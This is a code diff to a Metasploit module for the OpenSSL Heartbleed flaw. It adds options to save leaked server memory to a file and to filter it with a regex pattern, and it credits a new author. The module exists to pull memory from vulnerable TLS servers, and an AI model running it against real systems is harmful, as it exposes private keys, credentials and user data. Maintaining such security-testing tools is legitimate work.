@@ -100,7 +100,8 @@ def initialize
100
100
'FiloSottile' , # PoC site and tool
101
101
'Christian Mehlmauer' , # Msf module
102
102
'wvu' , # Msf module
103
- 'juan vazquez' # Msf module
103
+ 'juan vazquez' , # Msf module
104
+ 'Sebastiano Di Paola' # Msf module
104
105
] ,
105
106
'References' =>
106
107
[
@@ -120,7 +121,9 @@ def initialize
120
121
[
121
122
Opt ::RPORT ( 443 ) ,
122
123
OptEnum . new ( 'STARTTLS' , [ true , 'Protocol to use with STARTTLS, None to avoid STARTTLS ' , 'None' , [ 'None' , 'SMTP' , 'IMAP' , 'JABBER' , 'POP3' , 'FTP' ] ] ) ,
123
- OptEnum . new ( 'TLSVERSION' , [ true , 'TLS version to use' , '1.0' , [ '1.0' , '1.1' , '1.2' ] ] )
124
+ OptEnum . new ( 'TLSVERSION' , [ true , 'TLS version to use' , '1.0' , [ '1.0' , '1.1' , '1.2' ] ] ) ,
125
+ OptBool . new ( 'STOREDUMP' , [ true , 'Store leaked memory in a file' , false ] ) ,
126
+ OptRegexp . new ( 'DUMPFILTER' , [ false , 'Pattern to filter leaked memory before storing' , nil ] )
124
127
] , self . class )
125
128
126
129
register_advanced_options (
@@ -291,16 +294,24 @@ def run_host(ip)
291
294
:refs => self . references ,
292
295
:info => "Module #{ self . fullname } successfully leaked info"
293
296
} )
294
- path = store_loot (
295
- "openssl.heartbleed.server" ,
296
- "application/octet-stream" ,
297
- ip ,
298
- heartbeat_data ,
299
- nil ,
300
- "OpenSSL Heartbleed server memory"
301
- )
297
+ if datastore [ 'STOREDUMP' ]
298
+ pattern = datastore [ 'DUMPFILTER' ]
299
+ if pattern
300
+ match_data = heartbeat_data . scan ( pattern ) . join
301
+ else
302
+ match_data = heartbeat_data
303
+ end
304
+ path = store_loot (
305
+ "openssl.heartbleed.server" ,
306
+ "application/octet-stream" ,
307
+ ip ,
308
+ match_data ,
309
+ nil ,
310
+ "OpenSSL Heartbleed server memory"
311
+ )
312
+ print_status ( "#{ peer } - Heartbeat data stored in #{ path } " )
313
+ end
302
314
vprint_status ( "#{ peer } - Printable info leaked: #{ heartbeat_data . gsub ( /[^[:print:]]/ , '' ) } " )
303
- print_status ( "#{ peer } - Heartbeat data stored in #{ path } " )
304
315
else
305
316
vprint_error ( "#{ peer } - Looks like there isn't leaked information..." )
306
317
end
0 commit comments